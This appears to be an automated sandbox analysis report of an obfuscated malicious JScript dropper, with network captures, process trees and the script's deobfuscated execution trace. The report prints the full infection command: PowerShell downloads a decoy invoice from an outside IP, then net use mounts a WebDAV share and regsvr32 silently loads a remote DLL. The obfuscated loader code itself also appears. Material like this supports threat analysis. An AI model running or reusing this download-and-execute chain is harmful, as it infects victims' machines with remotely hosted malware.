Jan 10, 2025 14:28:10.923000097 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 10, 2025 14:28:10.923012972 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 14:28:10.923028946 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 14:28:10.923039913 CET	448	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 14:28:10.923049927 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 14:28:10.923074961 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 10, 2025 14:28:10.927937984 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49705	193.143.1.205	8888	7276	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:28:12.304811001 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 14:28:13.136724949 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:28:13 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	4
Start time:	08:28:06
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1947415746274847548.js"
Imagebase:	0x7ff7bdb70000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:28:07
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll
Imagebase:	0x7ff6f2ce0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:28:07
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:28:07
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:28:11
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	08:28:11
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6f2ce0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	08:28:11
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7c94e0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:28:11
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	08:28:12
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	08:28:12
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1692,i,12392372477177603845,12897811238865143999,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function feutcsoep() {	feutcsoep() ➔ undefined
1	mjknfkqnb = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var hxbskhnzd = this[dadzdsghp + qcnuiik + uuwsp + tiyaydx + uhrtyrz + gahsmnd + yowqpo + nolfurb] ( this[spepydc + rkwfxc + ycdvcz + uuwsp + hcazyi + dadzdsghp + nolfurb][nmnyggdzf + uuwsp + uhrtyrz + qcnuiik + nolfurb + uhrtyrz + ixackao + pijfqj + kxopl + uhrtyrz + ycdvcz + nolfurb] ( spepydc + rkwfxc + ycdvcz + uuwsp + hcazyi + dadzdsghp + nolfurb + opmlerd + rkwfxc + mkepbl + uhrtyrz + urysfdjtl + urysfdjtl ) [jedrm + uhrtyrz + fkaywmtm + jedrm + uhrtyrz + qcnuiik + zmsgio] ( dmbbb + tmabzpacz + vmaxxgrw + ofvbe + zzbxh + nmnyggdzf + thmiyearg + jedrm + jedrm + vmaxxgrw + cghkqso + rgsni + zzbxh + thmiyearg + rkwfxc + vmaxxgrw + jedrm + xnkzevvqr + nmnyggdzf + yyfdg + yowqpo + nolfurb + uuwsp + yyfdg + urysfdjtl + krsktgobl + dpmhx + qcnuiik + yowqpo + uhrtyrz + urysfdjtl + xnkzevvqr + gahsmnd + yowqpo + nolfurb + uhrtyrz + uuwsp + yowqpo + qcnuiik + nolfurb + hcazyi + yyfdg + yowqpo + qcnuiik + urysfdjtl + xnkzevvqr + brnvrt + yyfdg + ycdvcz + qcnuiik + urysfdjtl + uhrtyrz ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( yxqtcfi = 0 ; yxqtcfi < mjknfkqnb[urysfdjtl + uhrtyrz + yowqpo + fkaywmtm + nolfurb + mkepbl] ; ++ yxqtcfi )
4	{
5	if ( hxbskhnzd == mjknfkqnb[yxqtcfi] )
6	{
7	hxbskhnzd = true;
8	break ;
9	}
10	}
11	if ( hxbskhnzd !== true )
12	this[spepydc + rkwfxc + ycdvcz + uuwsp + hcazyi + dadzdsghp + nolfurb][nrcmxkg + pkqpy + hcazyi + nolfurb] ( );
13	this[spepydc + rkwfxc + ycdvcz + uuwsp + hcazyi + dadzdsghp + nolfurb][nmnyggdzf + uuwsp + uhrtyrz + qcnuiik + nolfurb + uhrtyrz + ixackao + pijfqj + kxopl + uhrtyrz + ycdvcz + nolfurb] ( spepydc + rkwfxc + ycdvcz + uuwsp + hcazyi + dadzdsghp + nolfurb + opmlerd + rkwfxc + mkepbl + uhrtyrz + urysfdjtl + urysfdjtl ) [uuwsp + pkqpy + yowqpo] ( ycdvcz + kcgcbj + zmsgio + krsktgobl + oxcgdcov + ycdvcz + krsktgobl + dadzdsghp + yyfdg + kcbewbt + uhrtyrz + uuwsp + tiyaydx + mkepbl + uhrtyrz + urysfdjtl + urysfdjtl + opmlerd + uhrtyrz + oplni + uhrtyrz + krsktgobl + vzbmpi + nmnyggdzf + yyfdg + kcgcbj + kcgcbj + qcnuiik + yowqpo + zmsgio + krsktgobl + fsuxzgwj + gahsmnd + yowqpo + tgisixr + yyfdg + fxlxaa + uhrtyrz + vzbmpi + spepydc + uhrtyrz + pijfqj + jedrm + uhrtyrz + eysgctb + pkqpy + uhrtyrz + tiyaydx + nolfurb + krsktgobl + vzbmpi + ixackao + pkqpy + nolfurb + laufatbg + hcazyi + urysfdjtl + uhrtyrz + krsktgobl + cbgdjktdd + nolfurb + uhrtyrz + kcgcbj + dadzdsghp + cbgdjktdd + xnkzevvqr + hcazyi + yowqpo + tgisixr + yyfdg + hcazyi + ycdvcz + uhrtyrz + opmlerd + dadzdsghp + zmsgio + itxnfkgi + krsktgobl + mkepbl + nolfurb + nolfurb + dadzdsghp + ojctg + oxcgdcov + oxcgdcov + mbwaao + yolvom + giakn + opmlerd + mbwaao + omccxz + giakn + opmlerd + mbwaao + opmlerd + mcvcflso + qcivyv + quvbvh + oxcgdcov + hcazyi + yowqpo + tgisixr + yyfdg + hcazyi + ycdvcz + uhrtyrz + opmlerd + dadzdsghp + mkepbl + dadzdsghp + fsuxzgwj + ffnzwlvuh + ffnzwlvuh + tiyaydx + nolfurb + qcnuiik + uuwsp + nolfurb + krsktgobl + cbgdjktdd + nolfurb + uhrtyrz + kcgcbj + dadzdsghp + cbgdjktdd + xnkzevvqr + hcazyi + yowqpo + tgisixr + yyfdg + hcazyi + ycdvcz + uhrtyrz + opmlerd + dadzdsghp + zmsgio + itxnfkgi + ffnzwlvuh + ffnzwlvuh + ycdvcz + kcgcbj + zmsgio + krsktgobl + oxcgdcov + ycdvcz + krsktgobl + yowqpo + uhrtyrz + nolfurb + krsktgobl + pkqpy + tiyaydx + uhrtyrz + krsktgobl + xnkzevvqr + xnkzevvqr + mbwaao + yolvom + giakn + opmlerd + mbwaao + omccxz + giakn + opmlerd + mbwaao + opmlerd + mcvcflso + qcivyv + quvbvh + ftudsqxbv + jillo + jillo + jillo + jillo + xnkzevvqr + zmsgio + qcnuiik + tgisixr + kcbewbt + kcbewbt + kcbewbt + uuwsp + yyfdg + yyfdg + nolfurb + xnkzevvqr + ffnzwlvuh + ffnzwlvuh + ycdvcz + kcgcbj + zmsgio + krsktgobl + oxcgdcov + ycdvcz + krsktgobl + uuwsp + uhrtyrz + fkaywmtm + tiyaydx + tgisixr + uuwsp + giakn + mcvcflso + krsktgobl + oxcgdcov + tiyaydx + krsktgobl + xnkzevvqr + xnkzevvqr + mbwaao + yolvom + giakn + opmlerd + mbwaao + omccxz + giakn + opmlerd + mbwaao + opmlerd + mcvcflso + qcivyv + quvbvh + ftudsqxbv + jillo + jillo + jillo + jillo + xnkzevvqr + zmsgio + qcnuiik + tgisixr + kcbewbt + kcbewbt + kcbewbt + uuwsp + yyfdg + yyfdg + nolfurb + xnkzevvqr + yolvom + mbwaao + mbwaao + yolvom + giakn + mbwaao + giakn + giakn + bvqma + mbwaao + omccxz + bvqma + mbwaao + ysllggh + opmlerd + zmsgio + urysfdjtl + urysfdjtl, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll",0,false) ➔ 0
14	}
15	ycdvcz = "t";
16	ycdvcz = "k";
17	ycdvcz = "K";
18	ycdvcz = "C";
19	ycdvcz = "a";
20	ycdvcz = "D";
21	ycdvcz = "t";
22	ycdvcz = "a";
23	ycdvcz = "Z";
24	ycdvcz = "E";
25	ycdvcz = "m";
26	ycdvcz = "z";
27	ycdvcz = "Q";
28	ycdvcz = "S";
29	ycdvcz = "T";
30	ycdvcz = "h";
31	ycdvcz = "t";
32	ycdvcz = "W";
33	ycdvcz = "Z";
34	ycdvcz = "y";
35	ycdvcz = "n";
36	ycdvcz = "z";
37	ycdvcz = "d";
38	ycdvcz = "c";
39	bvqma = "D";
40	bvqma = "q";
41	bvqma = "G";
42	bvqma = "w";
43	bvqma = "E";
44	bvqma = "r";
45	bvqma = "w";
46	bvqma = "u";
47	bvqma = "l";
48	bvqma = "a";
49	bvqma = "V";
50	bvqma = "g";
51	bvqma = "b";
52	bvqma = "a";
53	bvqma = "M";
54	bvqma = "h";
55	bvqma = "D";
56	bvqma = "n";
57	bvqma = "V";
58	bvqma = "Z";
59	bvqma = "Q";
60	bvqma = "y";
61	bvqma = "J";
62	bvqma = "7";
63	mcvcflso = "u";
64	mcvcflso = "j";
65	mcvcflso = "u";
66	mcvcflso = "j";
67	mcvcflso = "A";
68	mcvcflso = "Z";
69	mcvcflso = "2";
70	dadzdsghp = "T";
71	dadzdsghp = "c";
72	dadzdsghp = "v";
73	dadzdsghp = "q";
74	dadzdsghp = "e";
75	dadzdsghp = "y";
76	dadzdsghp = "p";
77	giakn = "d";
78	giakn = "o";
79	giakn = "l";
80	giakn = "J";
81	giakn = "a";
82	giakn = "C";
83	giakn = "S";
84	giakn = "c";
85	giakn = "Z";
86	giakn = "U";
87	giakn = "Z";
88	giakn = "T";
89	giakn = "Q";
90	giakn = "X";
91	giakn = "E";
92	giakn = "m";
93	giakn = "l";
94	giakn = "L";
95	giakn = "H";
96	giakn = "M";
97	giakn = "R";
98	giakn = "E";
99	giakn = "I";
100	giakn = "J";
101	giakn = "S";
102	giakn = "N";
103	giakn = "l";
104	giakn = "B";
105	giakn = "I";
106	giakn = "V";
107	giakn = "p";
108	giakn = "f";
109	giakn = "H";
110	giakn = "Z";
111	giakn = "E";
112	giakn = "L";
113	giakn = "m";
114	giakn = "w";
115	giakn = "D";
116	giakn = "j";
117	giakn = "V";
118	giakn = "Z";
119	giakn = "A";
120	giakn = "3";
121	oxcgdcov = "d";
122	oxcgdcov = "V";
123	oxcgdcov = "T";
124	oxcgdcov = "M";
125	oxcgdcov = "J";
126	oxcgdcov = "K";
127	oxcgdcov = "d";
128	oxcgdcov = "s";
129	oxcgdcov = "J";
130	oxcgdcov = "L";
131	oxcgdcov = "x";
132	oxcgdcov = "m";
133	oxcgdcov = "G";
134	oxcgdcov = "Y";
135	oxcgdcov = "n";
136	oxcgdcov = "m";
137	oxcgdcov = "C";
138	oxcgdcov = "e";
139	oxcgdcov = "l";
140	oxcgdcov = "E";
141	oxcgdcov = "q";
142	oxcgdcov = "I";
143	oxcgdcov = "R";
144	oxcgdcov = "T";
145	oxcgdcov = "y";
146	oxcgdcov = "R";
147	oxcgdcov = "A";
148	oxcgdcov = "M";
149	oxcgdcov = "Y";
150	oxcgdcov = "v";
151	oxcgdcov = "/";
152	fsuxzgwj = "O";
153	fsuxzgwj = "q";
154	fsuxzgwj = "I";
155	fsuxzgwj = "f";
156	fsuxzgwj = "h";
157	fsuxzgwj = "L";
158	fsuxzgwj = "C";
159	fsuxzgwj = "C";
160	fsuxzgwj = "x";
161	fsuxzgwj = "i";
162	fsuxzgwj = "K";
163	fsuxzgwj = "d";
164	fsuxzgwj = "B";
165	fsuxzgwj = "y";
166	fsuxzgwj = "s";
167	fsuxzgwj = "N";
168	fsuxzgwj = "o";
169	fsuxzgwj = "N";
170	fsuxzgwj = "b";
171	fsuxzgwj = "W";
172	fsuxzgwj = "M";
173	fsuxzgwj = "Q";
174	fsuxzgwj = "c";
175	fsuxzgwj = "A";
176	fsuxzgwj = "j";
177	fsuxzgwj = "s";
178	fsuxzgwj = "J";
179	fsuxzgwj = "Q";
180	fsuxzgwj = "g";
181	fsuxzgwj = "j";
182	fsuxzgwj = "b";
183	fsuxzgwj = "E";
184	fsuxzgwj = "Z";
185	fsuxzgwj = "\"";
186	vmaxxgrw = "x";
187	vmaxxgrw = "B";
188	vmaxxgrw = "N";
189	vmaxxgrw = "u";
190	vmaxxgrw = "i";
191	vmaxxgrw = "w";
192	vmaxxgrw = "U";
193	vmaxxgrw = "V";
194	vmaxxgrw = "x";
195	vmaxxgrw = "k";
196	vmaxxgrw = "A";
197	vmaxxgrw = "A";
198	vmaxxgrw = "U";
199	vmaxxgrw = "R";
200	vmaxxgrw = "n";
201	vmaxxgrw = "a";
202	vmaxxgrw = "K";
203	vmaxxgrw = "B";
204	vmaxxgrw = "F";
205	vmaxxgrw = "b";
206	vmaxxgrw = "g";
207	vmaxxgrw = "D";
208	vmaxxgrw = "E";
209	vmaxxgrw = "u";
210	vmaxxgrw = "B";
211	vmaxxgrw = "c";
212	vmaxxgrw = "N";
213	vmaxxgrw = "W";
214	vmaxxgrw = "x";
215	vmaxxgrw = "W";
216	vmaxxgrw = "Z";
217	vmaxxgrw = "M";
218	vmaxxgrw = "U";
219	vmaxxgrw = "r";
220	vmaxxgrw = "I";
221	vmaxxgrw = "E";
222	vmaxxgrw = "h";
223	vmaxxgrw = "q";
224	vmaxxgrw = "E";
225	vmaxxgrw = "h";
226	vmaxxgrw = "q";
227	vmaxxgrw = "a";
228	vmaxxgrw = "E";
229	itxnfkgi = "g";
230	itxnfkgi = "z";
231	itxnfkgi = "p";
232	itxnfkgi = "N";
233	itxnfkgi = "y";
234	itxnfkgi = "A";
235	itxnfkgi = "f";
236	itxnfkgi = "n";
237	itxnfkgi = "f";
238	itxnfkgi = "B";
239	itxnfkgi = "f";
240	uuwsp = "S";
241	uuwsp = "n";
242	uuwsp = "v";
243	uuwsp = "O";
244	uuwsp = "E";
245	uuwsp = "R";
246	uuwsp = "d";
247	uuwsp = "A";
248	uuwsp = "I";
249	uuwsp = "W";
250	uuwsp = "l";
251	uuwsp = "a";
252	uuwsp = "l";
253	uuwsp = "n";
254	uuwsp = "N";
255	uuwsp = "D";
256	uuwsp = "x";
257	uuwsp = "H";
258	uuwsp = "x";
259	uuwsp = "s";
260	uuwsp = "e";
261	uuwsp = "x";
262	uuwsp = "x";
263	uuwsp = "K";
264	uuwsp = "N";
265	uuwsp = "h";
266	uuwsp = "W";
267	uuwsp = "y";
268	uuwsp = "F";
269	uuwsp = "U";
270	uuwsp = "S";
271	uuwsp = "e";
272	uuwsp = "Z";
273	uuwsp = "P";
274	uuwsp = "O";
275	uuwsp = "g";
276	uuwsp = "r";
277	xnkzevvqr = "D";
278	xnkzevvqr = "o";
279	xnkzevvqr = "E";
280	xnkzevvqr = "K";
281	xnkzevvqr = "O";
282	xnkzevvqr = "u";
283	xnkzevvqr = "u";
284	xnkzevvqr = "r";
285	xnkzevvqr = "V";
286	xnkzevvqr = "V";
287	xnkzevvqr = "t";
288	xnkzevvqr = "f";
289	xnkzevvqr = "G";
290	xnkzevvqr = "C";
291	xnkzevvqr = "U";
292	xnkzevvqr = "Y";
293	xnkzevvqr = "v";
294	xnkzevvqr = "f";
295	xnkzevvqr = "g";
296	xnkzevvqr = "K";
297	xnkzevvqr = "F";
298	xnkzevvqr = "d";
299	xnkzevvqr = "M";
300	xnkzevvqr = "\\";
301	zzbxh = "R";
302	zzbxh = "V";
303	zzbxh = "N";
304	zzbxh = "T";
305	zzbxh = "O";
306	zzbxh = "G";
307	zzbxh = "K";
308	zzbxh = "I";
309	zzbxh = "C";
310	zzbxh = "V";
311	zzbxh = "a";
312	zzbxh = "w";
313	zzbxh = "M";
314	zzbxh = "W";
315	zzbxh = "S";
316	zzbxh = "g";
317	zzbxh = "O";
318	zzbxh = "B";
319	zzbxh = "k";
320	zzbxh = "R";
321	zzbxh = "j";
322	zzbxh = "B";
323	zzbxh = "w";
324	zzbxh = "d";
325	zzbxh = "k";
326	zzbxh = "z";
327	zzbxh = "w";
328	zzbxh = "f";
329	zzbxh = "w";
330	zzbxh = "z";
331	zzbxh = "o";
332	zzbxh = "K";
333	zzbxh = "X";
334	zzbxh = "_";
335	oplni = "d";
336	oplni = "K";
337	oplni = "u";
338	oplni = "k";
339	oplni = "X";
340	oplni = "P";
341	oplni = "x";
342	oplni = "z";
343	oplni = "s";
344	oplni = "O";
345	oplni = "l";
346	oplni = "Z";
347	oplni = "x";
348	oplni = "n";
349	oplni = "Z";
350	oplni = "K";
351	oplni = "d";
352	oplni = "l";
353	oplni = "o";
354	oplni = "g";
355	oplni = "t";
356	oplni = "b";
357	oplni = "e";
358	oplni = "e";
359	oplni = "h";
360	oplni = "d";
361	oplni = "z";
362	oplni = "f";
363	oplni = "y";
364	oplni = "x";
365	oplni = "K";
366	oplni = "f";
367	oplni = "n";
368	oplni = "r";
369	oplni = "c";
370	oplni = "Q";
371	oplni = "D";
372	oplni = "J";
373	oplni = "x";
374	oplni = "x";
375	eysgctb = "X";
376	eysgctb = "i";
377	eysgctb = "C";
378	eysgctb = "S";
379	eysgctb = "d";
380	eysgctb = "D";
381	eysgctb = "Y";
382	eysgctb = "O";
383	eysgctb = "g";
384	eysgctb = "q";
385	qcivyv = "g";
386	qcivyv = "b";
387	qcivyv = "N";
388	qcivyv = "b";
389	qcivyv = "A";
390	qcivyv = "R";
391	qcivyv = "L";
392	qcivyv = "r";
393	qcivyv = "k";
394	qcivyv = "I";
395	qcivyv = "0";
396	omccxz = "k";
397	omccxz = "j";
398	omccxz = "X";
399	omccxz = "4";
400	ysllggh = "P";
401	ysllggh = "Q";
402	ysllggh = "U";
403	ysllggh = "N";
404	ysllggh = "j";
405	ysllggh = "W";
406	ysllggh = "J";
407	ysllggh = "Q";
408	ysllggh = "6";
409	pkqpy = "G";
410	pkqpy = "d";
411	pkqpy = "W";
412	pkqpy = "X";
413	pkqpy = "U";
414	pkqpy = "a";
415	pkqpy = "r";
416	pkqpy = "N";
417	pkqpy = "f";
418	pkqpy = "i";
419	pkqpy = "y";
420	pkqpy = "o";
421	pkqpy = "J";
422	pkqpy = "e";
423	pkqpy = "v";
424	pkqpy = "t";
425	pkqpy = "T";
426	pkqpy = "O";
427	pkqpy = "D";
428	pkqpy = "g";
429	pkqpy = "N";
430	pkqpy = "K";
431	pkqpy = "j";
432	pkqpy = "C";
433	pkqpy = "t";
434	pkqpy = "w";
435	pkqpy = "B";
436	pkqpy = "K";
437	pkqpy = "H";
438	pkqpy = "G";
439	pkqpy = "u";
440	krsktgobl = "g";
441	krsktgobl = "M";
442	krsktgobl = "h";
443	krsktgobl = "X";
444	krsktgobl = "I";
445	krsktgobl = "Y";
446	krsktgobl = "y";
447	krsktgobl = "V";
448	krsktgobl = "P";
449	krsktgobl = "W";
450	krsktgobl = "V";
451	krsktgobl = "t";
452	krsktgobl = "s";
453	krsktgobl = "o";
454	krsktgobl = "i";
455	krsktgobl = "G";
456	krsktgobl = "v";
457	krsktgobl = "N";
458	krsktgobl = "q";
459	krsktgobl = "L";
460	krsktgobl = "o";
461	krsktgobl = "Q";
462	krsktgobl = " ";
463	zmsgio = "Q";
464	zmsgio = "I";
465	zmsgio = "d";
466	kxopl = "s";
467	kxopl = "K";
468	kxopl = "L";
469	kxopl = "l";
470	kxopl = "Q";
471	kxopl = "U";
472	kxopl = "N";
473	kxopl = "q";
474	kxopl = "G";
475	kxopl = "U";
476	kxopl = "J";
477	kxopl = "I";
478	kxopl = "y";
479	kxopl = "Y";
480	kxopl = "g";
481	kxopl = "f";
482	kxopl = "p";
483	kxopl = "p";
484	kxopl = "v";
485	kxopl = "c";
486	kxopl = "h";
487	kxopl = "s";
488	kxopl = "B";
489	kxopl = "P";
490	kxopl = "k";
491	kxopl = "O";
492	kxopl = "j";
493	kxopl = "K";
494	kxopl = "k";
495	kxopl = "j";
496	ixackao = "q";
497	ixackao = "O";
498	nmnyggdzf = "A";
499	nmnyggdzf = "b";
500	nmnyggdzf = "M";
